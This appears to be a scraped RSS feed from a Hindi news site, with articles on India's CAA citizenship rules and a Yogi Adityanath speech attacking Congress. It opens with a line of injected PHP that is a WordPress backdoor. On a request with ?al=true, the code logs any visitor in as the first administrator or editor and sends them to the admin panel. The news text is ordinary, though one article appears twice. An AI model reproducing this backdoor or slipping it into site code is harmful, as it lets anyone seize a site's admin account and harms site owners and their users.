// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); CAA – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Thu, 21 May 2026 03:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 CAA नियमों में बड़ा बदलाव, पाकिस्तान-बांग्लादेश से हिंदुओं की भारत एंट्री पर सख्ती https://pratyushaashakinayikiran.com/?p=221114 Thu, 21 May 2026 03:35:00 +0000 https://pratyushaashakinayikiran.com/?p=221114 कोलकाता/ नई दिल्ली

केंद्र सरकार ने नागरिकता संशोधन कानून (CAA) के तहत भारतीय नागरिकता पाने की प्रक्रिया को और सख्त कर दिया है. गृह मंत्रालय ने सोमवार को एक नया नोटिफिकेशन जारी कर पाकिस्तान, बांग्लादेश और अफगानिस्तान से आए धार्मिक अल्पसंख्यक आवेदकों के लिए अतिरिक्त खुलासे अनिवार्य कर दिए. अब इन देशों से भारत आने वाले हिंदू, सिख, जैन, बौद्ध और पारसी समुदाय के लोगों को यह बताना होगा कि उनके पास इन देशों का कोई वैध या एक्सपायर्ड पासपोर्ट है या नहीं. अगर पासपोर्ट है, तो उसकी पूरी जानकारी देनी होगी और भारतीय नागरिकता मिलने के 15 दिन के भीतर उसे सरेंडर भी करना पड़ेगा। 

गृह मंत्रालय के इस फैसले को CAA प्रक्रिया में पारदर्शिता और सुरक्षा बढ़ाने की दिशा में बड़ा कदम माना जा रहा है. अधिकारियों के मुताबिक, हाल के दिनों में ऐसे कई मामले सामने आए थे, जिनमें कुछ आवेदकों के पास पुराने या अमान्य विदेशी पासपोर्ट पाए गए. भारतीय कानून के तहत दोहरी नागरिकता और दो पासपोर्ट रखने की अनुमति नहीं है. ऐसे में सरकार अब यह सुनिश्चित करना चाहती है कि भारत की नागरिकता मिलने के बाद कोई व्यक्ति दूसरे देश की पहचान या दस्तावेज का इस्तेमाल न कर सके। 

CAA का क्या है नया नियम?
नए नियमों के मुताबिक, हर आवेदक को शपथ पत्र के जरिए यह घोषित करना होगा कि उसके पास पाकिस्तान, बांग्लादेश या अफगानिस्तान सरकार की ओर से जारी कोई वैध या एक्सपायर्ड पासपोर्ट नहीं है. अगर किसी के पास ऐसा दस्तावेज है, तो उसे पासपोर्ट नंबर, जारी करने की जगह, जारी होने की तारीख और एक्सपायरी डेट जैसी पूरी जानकारी देनी होगी. इसके बाद नागरिकता मंजूर होने पर 15 दिनों के भीतर वह पासपोर्ट संबंधित देश के दूतावास या उचित प्राधिकरण के पास जमा करना होगा। 

क्यों हुआ यह बदलाव?
दरअसल 2019 में पारित नागरिकता संशोधन कानून का उद्देश्य पाकिस्तान, बांग्लादेश और अफगानिस्तान में धार्मिक उत्पीड़न का सामना कर भारत आए छह अल्पसंख्यक समुदायों को भारतीय नागरिकता देने का रास्ता आसान बनाना था. इनमें हिंदू, सिख, जैन, बौद्ध, पारसी और ईसाई समुदाय शामिल हैं. केंद्र सरकार ने 2024 में इस कानून को लागू करने के लिए नियम अधिसूचित किए थे और अब उन्हीं नियमों में संशोधन कर यह नई शर्त जोड़ी गई है। 

सरकार का कहना है कि यह कदम राष्ट्रीय सुरक्षा और कानूनी व्यवस्था को मजबूत करने के लिए जरूरी है. अधिकारियों के अनुसार, कई बार देखा गया कि आवेदक भारत में नागरिकता की प्रक्रिया पूरी होने के बावजूद पुराने विदेशी दस्तावेज अपने पास रखते हैं. इससे पहचान, यात्रा और कानूनी स्थिति को लेकर भ्रम की स्थिति बन सकती है. ऐसे मामलों को रोकने के लिए अब सरकार ने पासपोर्ट सरेंडर को अनिवार्य बना दिया है। 

क्या होगा असर?
ये नई अधिसूचना ऐसे समय आई है जब भारत की सीमाओं पर अवैध घुसपैठ, फर्जी दस्तावेज और नागरिकता से जुड़े मुद्दे लगातार राजनीतिक बहस का हिस्सा बने हुए हैं. खासकर बांग्लादेश और पाकिस्तान से आने वाले लोगों को लेकर सुरक्षा एजेंसियां लंबे समय से सतर्क रही हैं. ऐसे में सरकार अब नागरिकता प्रक्रिया में दस्तावेजों की जांच और खुलासे को ज्यादा सख्त बनाना चाहती है। 

इस नए नियम के बाद CAA के तहत आवेदन करने वालों की जांच प्रक्रिया और लंबी तथा कड़ी हो सकती है. आवेदकों को अब अपने पुराने दस्तावेजों का पूरा रिकॉर्ड देना होगा. साथ ही नागरिकता मिलने के बाद विदेशी पासपोर्ट रखने पर कानूनी कार्रवाई भी संभव होगी। 

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CAA नियमों में बड़ा बदलाव, पाकिस्तान-बांग्लादेश से हिंदुओं की भारत एंट्री पर सख्ती https://pratyushaashakinayikiran.com/?p=221116 Thu, 21 May 2026 03:35:00 +0000 https://pratyushaashakinayikiran.com/?p=221116 कोलकाता/ नई दिल्ली

केंद्र सरकार ने नागरिकता संशोधन कानून (CAA) के तहत भारतीय नागरिकता पाने की प्रक्रिया को और सख्त कर दिया है. गृह मंत्रालय ने सोमवार को एक नया नोटिफिकेशन जारी कर पाकिस्तान, बांग्लादेश और अफगानिस्तान से आए धार्मिक अल्पसंख्यक आवेदकों के लिए अतिरिक्त खुलासे अनिवार्य कर दिए. अब इन देशों से भारत आने वाले हिंदू, सिख, जैन, बौद्ध और पारसी समुदाय के लोगों को यह बताना होगा कि उनके पास इन देशों का कोई वैध या एक्सपायर्ड पासपोर्ट है या नहीं. अगर पासपोर्ट है, तो उसकी पूरी जानकारी देनी होगी और भारतीय नागरिकता मिलने के 15 दिन के भीतर उसे सरेंडर भी करना पड़ेगा। 

गृह मंत्रालय के इस फैसले को CAA प्रक्रिया में पारदर्शिता और सुरक्षा बढ़ाने की दिशा में बड़ा कदम माना जा रहा है. अधिकारियों के मुताबिक, हाल के दिनों में ऐसे कई मामले सामने आए थे, जिनमें कुछ आवेदकों के पास पुराने या अमान्य विदेशी पासपोर्ट पाए गए. भारतीय कानून के तहत दोहरी नागरिकता और दो पासपोर्ट रखने की अनुमति नहीं है. ऐसे में सरकार अब यह सुनिश्चित करना चाहती है कि भारत की नागरिकता मिलने के बाद कोई व्यक्ति दूसरे देश की पहचान या दस्तावेज का इस्तेमाल न कर सके। 

CAA का क्या है नया नियम?
नए नियमों के मुताबिक, हर आवेदक को शपथ पत्र के जरिए यह घोषित करना होगा कि उसके पास पाकिस्तान, बांग्लादेश या अफगानिस्तान सरकार की ओर से जारी कोई वैध या एक्सपायर्ड पासपोर्ट नहीं है. अगर किसी के पास ऐसा दस्तावेज है, तो उसे पासपोर्ट नंबर, जारी करने की जगह, जारी होने की तारीख और एक्सपायरी डेट जैसी पूरी जानकारी देनी होगी. इसके बाद नागरिकता मंजूर होने पर 15 दिनों के भीतर वह पासपोर्ट संबंधित देश के दूतावास या उचित प्राधिकरण के पास जमा करना होगा। 

क्यों हुआ यह बदलाव?
दरअसल 2019 में पारित नागरिकता संशोधन कानून का उद्देश्य पाकिस्तान, बांग्लादेश और अफगानिस्तान में धार्मिक उत्पीड़न का सामना कर भारत आए छह अल्पसंख्यक समुदायों को भारतीय नागरिकता देने का रास्ता आसान बनाना था. इनमें हिंदू, सिख, जैन, बौद्ध, पारसी और ईसाई समुदाय शामिल हैं. केंद्र सरकार ने 2024 में इस कानून को लागू करने के लिए नियम अधिसूचित किए थे और अब उन्हीं नियमों में संशोधन कर यह नई शर्त जोड़ी गई है। 

सरकार का कहना है कि यह कदम राष्ट्रीय सुरक्षा और कानूनी व्यवस्था को मजबूत करने के लिए जरूरी है. अधिकारियों के अनुसार, कई बार देखा गया कि आवेदक भारत में नागरिकता की प्रक्रिया पूरी होने के बावजूद पुराने विदेशी दस्तावेज अपने पास रखते हैं. इससे पहचान, यात्रा और कानूनी स्थिति को लेकर भ्रम की स्थिति बन सकती है. ऐसे मामलों को रोकने के लिए अब सरकार ने पासपोर्ट सरेंडर को अनिवार्य बना दिया है। 

क्या होगा असर?
ये नई अधिसूचना ऐसे समय आई है जब भारत की सीमाओं पर अवैध घुसपैठ, फर्जी दस्तावेज और नागरिकता से जुड़े मुद्दे लगातार राजनीतिक बहस का हिस्सा बने हुए हैं. खासकर बांग्लादेश और पाकिस्तान से आने वाले लोगों को लेकर सुरक्षा एजेंसियां लंबे समय से सतर्क रही हैं. ऐसे में सरकार अब नागरिकता प्रक्रिया में दस्तावेजों की जांच और खुलासे को ज्यादा सख्त बनाना चाहती है। 

इस नए नियम के बाद CAA के तहत आवेदन करने वालों की जांच प्रक्रिया और लंबी तथा कड़ी हो सकती है. आवेदकों को अब अपने पुराने दस्तावेजों का पूरा रिकॉर्ड देना होगा. साथ ही नागरिकता मिलने के बाद विदेशी पासपोर्ट रखने पर कानूनी कार्रवाई भी संभव होगी। 

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पश्चिम बंगाल में मे भी शुरू हुई सीएए के तहत नागरिकता प्रमाण पत्र देने की प्रक्रिया https://pratyushaashakinayikiran.com/?p=35833 Thu, 30 May 2024 11:16:00 +0000 https://pratyushaashakinayikiran.com/?p=35833 नई दिल्ली

नागरिकता (संशोधन) अधिनियम (सीएए) के अंतर्गत नागरिकता प्रमाण पत्र देने की प्रक्रिया पश्चिम बंगाल में शुरू हो गई है। इसके तहत राज्य से प्राप्त आवेदनों के पहले समूह को बुधवार को पश्चिम बंगाल राज्य की अधिकार प्राप्त समिति द्वारा नागरिकता प्रदान की गई। पश्चिम बंगाल के अलावा हरियाणा और उत्तराखंड में भी आवेदकों के पहले समूह को आज नागरिकता प्रदान की गई।

लोकसभा चुनाव परिणाम 2019

केंद्रीय गृह मंत्रालय ने बुधवार को बताया कि इसी प्रकार, हरियाणा और उत्तराखंड राज्यों की अधिकार प्राप्त समितियों ने भी नागरिकता (संशोधन) नियम, 2024 के अंतर्गत अपने-अपने राज्यों में आवेदकों के पहले समूह को आज नागरिकता प्रदान की।

इससे पहले, 15 मई 2024 को केंद्रीय गृह सचिव ने नई दिल्ली में नागरिकता (संशोधन) नियम, 2024 की अधिसूचना के बाद दिल्ली की अधिकार प्राप्त समिति द्वारा प्रदान किए गए नागरिकता प्रमाण पत्रों का पहला सेट आवेदकों को सौंपा था।

इससे पहले, 15 मई 2024 को केंद्रीय गृह सचिव ने नई दिल्ली में नागरिकता (संशोधन) नियम, 2024 की अधिसूचना के बाद दिल्ली की अधिकार प्राप्त समिति द्वारा प्रदान किए गए नागरिकता प्रमाण पत्रों का पहला सेट आवेदकों को सौंपा था।

भारत सरकार ने 11 मार्च 2024 को नागरिकता (संशोधन) नियम, 2024 को अधिसूचित किया था। नियमों में आवेदन करने के तरीके, आवेदनों को जिला स्तरीय समिति (डीएलसी) द्वारा जांचने की प्रक्रिया और राज्य स्तरीय अधिकार प्राप्त समिति (ईसी) द्वारा जांच के बाद नागरिकता प्रदान करने के तरीके निर्धारित किए गए हैं।

केंद्र सरकार के मुताबिक, नागरिकता के लिए आने वाले आवेदनों की जांच पूरी तरह से ऑनलाइन पोर्टल के माध्यम से की जाती है। केंद्र सरकार द्वारा बनाए गए इन नियमों के अंतर्गत भारत के पड़ोसी देशों पाकिस्तान, बांग्लादेश और अफगानिस्तान से आए हुए हिंदू, सिख, जैन, बौद्ध, पारसी और ईसाई समुदायों से संबंधित व्यक्तियों से आवेदन प्राप्त हुए हैं। ये वे लोग हैं जो धर्म के आधार पर उत्पीड़न या ऐसे उत्पीड़न के डर से संबंधित देशों से भागकर भारत आ गए हैं।

धर्म के आधार पर उत्पीड़ित और भारत की नागरिकता के लिए आवेदन करने वाले इन लोगों ने 31 दिसंबर 2014 तक भारत में प्रवेश कर लिया था।
भारत सरकार ने 11 मार्च 2024 को नागरिकता (संशोधन) नियम, 2024 को अधिसूचित किया था। नियमों में आवेदन करने के तरीके, आवेदनों को जिला स्तरीय समिति (डीएलसी) द्वारा जांचने की प्रक्रिया और राज्य स्तरीय अधिकार प्राप्त समिति (ईसी) द्वारा जांच के बाद नागरिकता प्रदान करने के तरीके निर्धारित किए गए हैं।

जब ममता ने कहा था सीएए लागू नहीं होने दूंगी

पश्चिम बंगाल की मुख्यमंत्री ममता बनर्जी ने अप्रैल महीने में अपने एक बयान में कहा था, ‘समान नागरिक संहिता स्वीकार्य नहीं है। मैं सभी धर्मों में सद्भाव चाहती हूं। आपकी सुरक्षा चाहती हूं।’ तब ईद के मौके पर एक सभा को संबोधित करते हुए सीएम ममता ने कहा था कि वह यूसीसी, एनआरसी और सीएए को लागू नहीं होने देंगी।

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योगी आदित्यनाथ ने कांग्रेस पर एक बार फिर हमला बोला है- कहा कांग्रेस के भीतर दुर्योधन की आत्मा प्रवेश कर गई https://pratyushaashakinayikiran.com/?p=32647 Mon, 20 May 2024 19:07:00 +0000 https://pratyushaashakinayikiran.com/?p=32647 लखनऊ
 उत्तर प्रदेश के मुख्यमंत्री योगी आदित्यनाथ ने कांग्रेस पर एक बार फिर हमला बोला है। उन्होंने कहा कि कांग्रेस कहती थी कि देश के संसाधनों पर पहला हक मुसलमानों का है और अभी सीएए लागू हुआ तो उसके पेट में दर्द होने लगा। उन्होंने कहा कि कांग्रेस की ये दुर्बुद्धि है और उसके भीतर दुर्योधन की आत्मा प्रवेश कर गई है। योगी आदित्यनाथ ने कहा, 'कांग्रेस कहती थी कि देश के संसाधनों पर पहला हक मुसलमानों का है। कहां देश का हिंदू जाएगा? कहां सिख जाएगा?'

योगी ने कहा, 'अभी तो सीएए लागू हुआ है। आप देखो हिंदू, सिख बौद्ध और जैनी इन सभी लोगों को, जो प्रताड़ित थे पाकिस्तान-बांग्लादेश, अफगानिस्तान में… जैसे ही नागरिकता देनी प्रारंभ हुई… आप देखिए कांग्रेस के पेट में दर्द होने लगा। कह रहे हैं ये सब क्यों कर रहे हैं? अरे भाई पीड़ित मानवता की सेवा भारत नहीं करेगा तो कौन करेगा?' योगी ने कहा कि ये कांग्रेस की दुर्बुद्धि है और इनके अंदर दुर्योधन की आत्मा प्रवेश कर गई है। ये मानने वाले नहीं है इसलिए ये कहते थे कि भारत के संसाधनों पर पहला अधिकार मुसलमानों का है।

बता दें कि पूर्व प्रधानमंत्री मनमोहन सिंह के पुराने भाषण के एक अंश का जिक्र करते हुए इससे पहले प्रधानमंत्री नरेंद्र मोदी ने भी कांग्रेस पर निशाना साधा था। हालांकि, तब इस बात का खंडन किया गया था कि मनमोहन सिंह ने ऐसी कोई बात नहीं कही थी। दरअसल, पूर्व पीएम मनमोहन सिंह ने 9 दिसंबर 2006 को 11वीं पंचवर्षीय योजना और विकास पर चर्चा के लिए राष्ट्रीय विकास परिषद की 52वीं बैठक को संबोधित किया था। इसी दौरान उन्होंने ऐसी बात कही थी, जिसका एक हिस्सा लेकर उनका विरोध किया गया था।

क्या कहा था मनमोहन सिंह ने
मनमोहन सिंह ने अपने भाषण में कहा था, 'मेरा मानना है कि हमारी सामूहिक प्राथमिकताएं बहुत स्पष्ट हैं। कृषि, सिंचाई और जल संसाधन, स्वास्थ्य, शिक्षा, ग्रामीण इन्फ्रास्ट्रक्चर में निवेश, अनुसूचित जाति और अनुसूचित जनजाति और अन्य पिछड़ा वर्ग, अल्पसंख्यकों, महिलाओं एवं बच्चों के उत्थान के लिए कार्यक्रम हमारी प्राथमिकताएं हैं। अनुसूचित जाति एवं अनुसूचित जनजातियों के लिए योजनाओं को नए सिरे से तैयार करने की जरूरत है। हमें ये सुनिश्चित करने के लिए नई योजनाएं बनानी होंगी कि अल्पसंख्यकों, विशेष रूप से मुस्लिमों को विकास में समान भागीदारी मिले। संसाधनों पर पहला हक उन्हीं का होना चाहिए।'

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